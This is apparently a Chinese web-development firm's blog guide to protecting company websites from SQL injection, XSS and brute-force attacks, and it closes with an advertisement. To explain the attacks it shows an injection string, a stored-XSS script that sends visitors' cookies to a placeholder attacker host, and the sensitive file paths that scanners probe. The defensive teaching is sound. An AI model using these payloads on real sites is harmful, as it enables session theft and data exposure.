企业网站被黑了怎么办?SQL注入、XSS攻击和暴力破解的防护实操指南
企业网站被黑了怎么办?SQL注入、XSS攻击和暴力破解的防护实操指南
凌晨三点,手机突然响了。客户发消息说公司网站打开后自动跳转到一个赌博页面。你赶紧用电脑打开一看——首页确实被篡改了,底部多了一堆看不懂的链接,搜索引擎里公司名称下面的描述也变成了乱七八糟的广告词。
这个场景并不罕见。根据网络安全机构的统计,中小企业网站每年遭受攻击的比例超过40%,其中大部分是自动化扫描攻击。攻击者并不是专门针对你,而是用脚本批量扫描互联网上的网站,发现有漏洞的就自动入侵。
本文不讲复杂的安全理论,只讲企业网站最常遇到的三种攻击方式以及对应的防护措施。
你的网站正在被扫描
先说一个可能让你意外的事实:你的网站从上线第一天起,就在被各种自动化工具扫描。
这些扫描工具会尝试访问一些常见的敏感路径,比如:
/admin/、/wp-admin/、/manage/— 尝试找到管理后台入口/.env、/config.php、/.git/config— 尝试读取配置文件和密钥/phpinfo.php、/test.php— 尝试找到开发调试页面/.aws/credentials、/docker-compose.yaml— 尝试获取云服务密钥
这些扫描全天候不间断进行。如果你去看自己网站的访问日志,几乎一定能看到这类请求。它们大多会返回404(找不到页面),但如果你的网站确实存在这些路径,那就危险了。
威胁一:SQL注入——最经典也最危险的攻击
什么是SQL注入
SQL注入是最古老但至今仍然有效的Web攻击方式。原理很简单:攻击者通过网站的输入框(搜索框、登录框、URL参数等)插入恶意的SQL代码,让数据库执行非预期的操作。
举个例子,一个搜索功能的代码如果这样写:
查询语句 = "SELECT * FROM products WHERE name = '" + 用户输入 + "'"
正常情况下,用户输入"手机",执行的是:
SELECT * FROM products WHERE name = '手机'
但如果攻击者输入 ' OR '1'='1,执行的就变成了:
SELECT * FROM products WHERE name = '' OR '1'='1'
这条语句的条件永远为真,会返回数据库里所有产品的数据。更厉害的攻击者可以通过SQL注入读取管理员密码、删除数据、甚至执行系统命令。
怎么判断你的网站是否有SQL注入漏洞
简单测试方法(只在自己的网站上测试):
- 在网站的搜索框里输入一个单引号
',如果页面报错(显示数据库错误信息),说明可能存在注入漏洞 - 在URL的参数后面加上
',比如把?id=1改成?id=1',观察是否报错 - 如果页面显示了类似"MySQL Error"、"syntax error"这样的信息,说明错误信息没有被正确处理,这本身就是一个安全隐患
SQL注入的防护措施
措施一:使用参数化查询(最重要)
不要把用户输入直接拼接到SQL语句里。使用预编译语句(Prepared Statement),让数据库区分代码和数据。
以PHP为例,错误的写法:
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
正确的写法:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
措施二:输入过滤和转义
对所有用户输入进行过滤,去除或转义特殊字符。PHP中使用 mysql_real_escape_string()(旧版)或PDO的参数绑定。
措施三:限制数据库权限
网站连接数据库的账号不要用root。创建一个权限有限的专用账号,只赋予必要的SELECT、INSERT、UPDATE权限,不给DROP、DELETE等危险权限。
措施四:隐藏错误信息
生产环境一定要关闭详细的错误信息显示。PHP中设置 display_errors = Off,自定义错误页面,不要把数据库报错信息直接展示给用户。
措施五:使用WAF(Web应用防火墙)
云服务商(阿里云、腾讯云等)和宝塔面板都提供WAF功能,可以自动拦截常见的SQL注入攻击。虽然不能完全替代代码层面的防护,但能挡住大部分自动化攻击。
威胁二:XSS跨站脚本攻击——偷用户信息的隐形杀手
什么是XSS攻击
XSS(Cross-Site Scripting)攻击是指攻击者在网页中注入恶意的JavaScript脚本代码。当其他用户访问这个页面时,浏览器会执行这段恶意代码,可能导致:
- 窃取用户的登录Cookie(相当于偷了用户的登录凭证)
- 在页面上显示虚假的登录框,骗取用户密码
- 将用户重定向到钓鱼网站
- 篡改页面显示内容
XSS的常见类型
存储型XSS(最危险):攻击者将恶意代码提交到网站的数据库里(比如通过评论、留言、用户资料等),当其他用户浏览这些内容时就会触发。
例如,攻击者在一个评论框里提交以下内容:
这个产品不错!<script>document.location='http://恶意网站.com/steal?cookie='+document.cookie</script>
如果网站没有对评论内容做过滤,这段代码会被保存到数据库。当其他用户查看这条评论时,浏览器就会执行这段JavaScript,把用户的Cookie发送给攻击者。
反射型XSS:攻击者构造一个包含恶意代码的URL,诱导用户点击。恶意代码不会保存在服务器上,而是通过URL参数反射回页面。
比如,攻击者构造这样一个URL:
https://你的网站.com/search?keyword=<script>恶意代码</script>
如果搜索页面直接把keyword参数的内容显示在页面上而没有做转义,恶意代码就会执行。
XSS的防护措施
措施一:输出转义(最重要)
在将任何用户输入的内容显示在页面上之前,对HTML特殊字符进行转义。把 < 转成 <,> 转成 >," 转成 ",' 转成 ',& 转成 &。
PHP中使用 htmlspecialchars() 函数:
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
措施二:设置Content-Security-Policy(CSP)头
通过HTTP头告诉浏览器只允许加载特定来源的脚本。这样即使页面上存在XSS漏洞,浏览器也不会执行来源不明的脚本。
Content-Security-Policy: default-src 'self'; script-src 'self'
措施三:Cookie加HttpOnly标志
设置Cookie时加上HttpOnly标志,这样JavaScript就无法读取Cookie的值,即使存在XSS漏洞,攻击者也偷不走登录凭证。
setcookie('session_id', $value, 0, '/', '', true, true);
措施四:输入内容过滤
对于富文本输入(比如编辑器),使用白名单过滤,只允许安全的HTML标签和属性。不要用黑名单方式过滤——攻击者总能找到新的绕过方法。
威胁三:暴力破解——笨但有效的后台入侵
什么是暴力破解
暴力破解就是用程序自动尝试大量的用户名和密码组合,直到找到正确的为止。虽然听起来很原始,但对于密码简单或者没有防护的系统,暴力破解的成功率相当高。
一个常见的攻击场景:攻击者找到了你网站的管理后台入口(比如 /admin/),然后用工具每秒尝试几百个密码组合。如果管理员密码是"admin123"或者"123456"这样的弱密码,几分钟就能破解。
暴力破解的防护措施
措施一:强密码策略
管理员密码至少12位,包含大小写字母、数字和特殊字符。不要用常见的密码,不要用公司名称、生日、电话号码。
措施二:修改默认后台路径
不要使用 /admin/、/manage/、/wp-admin/ 这些常见路径。把管理后台入口改成一个不容易猜到的路径,比如 /my_console_8x2k/。攻击者找不到入口,暴力破解就无从谈起。
措施三:登录失败限制
设置登录失败次数限制——比如连续5次密码错误,锁定账号15分钟或者锁定IP。这样暴力破解工具就无法持续尝试。
措施四:验证码
在登录页面加上验证码。每次登录都要输入验证码,自动化工具就很难批量尝试。可以用图形验证码(字母数字或算术题),或者行为验证码(滑动拼图)。
措施五:IP白名单(最严格)
如果管理后台只有固定的几个人使用,可以在服务器层面限制只有特定IP才能访问后台路径。其他IP访问直接返回404。这是最安全的方式,但不够灵活。
措施六:双因素认证
在密码之外加一道验证——比如手机短信验证码或者TOTP动态令牌。即使密码泄露,没有第二因素也登录不了。
网站已经被黑了,怎么处理
如果发现网站已经被入侵,按以下步骤处理:
第一步:止损
- 如果网站被挂了跳转代码或黑链,立即把网站暂时关闭或者设置维护页面
- 修改所有密码:管理后台密码、数据库密码、服务器SSH密码、FTP密码
- 检查服务器上是否有可疑的新文件(特别是PHP文件),上传时间异常的文件要重点排查
第二步:排查入侵原因
- 查看服务器的访问日志(access.log),找到异常的请求记录
- 查看错误日志(error.log),看是否有攻击留下的痕迹
- 检查网站代码是否被篡改,特别是首页文件、配置文件、模板文件
- 检查数据库中是否被写入了恶意内容
第三步:清理恢复
- 从可信的备份恢复网站代码(所以定期备份非常重要)
- 如果没有备份,需要逐个文件排查,清理被篡改的内容
- 清理数据库中的恶意内容
- 清除搜索引擎的缓存(在百度站长平台提交快照删除)
第四步:加固防护
- 修复被利用的漏洞
- 更新所有组件到安全版本
- 部署WAF
- 建立定期备份机制
- 设置文件变动监控,一旦核心文件被修改立即告警
日常安全维护清单
以下是每个企业网站都应该做的基本安全措施:
每天
- 检查网站能否正常访问
- 查看是否有异常的登录记录
每周
- 查看服务器的访问日志,关注异常请求
- 检查网站文件的最后修改时间,是否有非预期的变动
每月
- 更新网站程序和插件到安全版本
- 检查服务器安全补丁
- 执行一次完整备份
- 检查SSL证书有效期
每季度
- 更换一次重要密码
- 审查服务器上的用户权限
- 对网站进行一次安全扫描
选择建站服务商时的安全考量
如果你正在考虑找一家公司来做企业网站,以下几点关于安全的问题一定要问:
- 代码是否有SQL注入防护? 使用参数化查询还是字符串拼接?
- 用户输入是否做了XSS过滤? 是否对输出做了转义?
- 管理后台的安全措施有哪些? 登录限制、验证码、自定义路径?
- 是否提供定期备份? 备份频率是多少?备份保留多久?
- 出了安全问题谁负责? 是否提供安全应急响应服务?
万户科技在交付每个项目时,都会做基本的安全加固——包括输入过滤、输出转义、后台路径自定义、登录失败限制和定期备份方案。安全不是一个可选项,而是每个网站的底线要求。
总结
网站安全不需要你成为安全专家,但需要你建立基本的安全意识和防护措施。
三条底线:
- 所有用户输入都不可信——必须过滤和转义
- 管理后台必须有访问限制——强密码+验证码+非默认路径
- 定期备份——这是最后的保险
互联网上的攻击大多是自动化的批量扫描。只要你的安全防护比大多数网站强一点,攻击者就会去找更容易的目标。就像那个老笑话说的——你不需要跑得比熊快,你只需要跑得比旁边的人快。
需要网站建设、软件开发或爬虫定制?
模板建站1280元起,价格公开不加价。电话/微信 13535321113
